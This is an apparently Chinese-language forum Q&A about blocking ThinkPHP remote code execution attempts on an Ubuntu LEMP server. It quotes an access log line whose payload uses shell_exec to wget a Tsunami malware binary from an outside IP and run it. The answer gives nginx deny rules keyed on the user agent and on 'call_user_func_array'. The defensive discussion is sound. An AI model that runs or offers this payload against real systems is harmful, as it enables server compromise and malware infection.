最近我发现,我的 Ubuntu(LEMP)服务器成为了远程代码执行攻击的目标。访问日志文件可能看起来像这样:
183.82.248.85 - - [06/Mar/2019:19:12:21 +0530] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://178.128.192.144/bins/Tsunami.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 166 "-" "Tsunami/2.0"
我正在使用 Failban、Cloudflare 和 CSF。我想知道,还有其他方法可以阻止此类攻击吗fail2ban
?如果我设法阻止此类攻击,我会阻止来自 CloudFlare WAF 的那些 IP。
答案1
嗯,我确实认为这fail2ban
不是解决你所描述的洪水问题的正确方法。不过,它有办法解决(参见文章这里)。
我想说的是,像这样的攻击应该有非常大的 IP 池。而封锁 IP 而不是封锁行为模式并不是一个完整的解决方案。
对于您的具体情况,您可以继续使用方法来阻止 UserAgent 和位置模式。
例如:
location / {
if ($http_user_agent ~ (tsunami) ) {
return 403;
}
if ($query_string ~ "call_user_func_array" ) {
return 403;
}
...
}
我还想建议确保您的服务器上没有任何蠕虫和后门(netstat -lntp
例如,显示任何打开的端口和使用它们的服务)。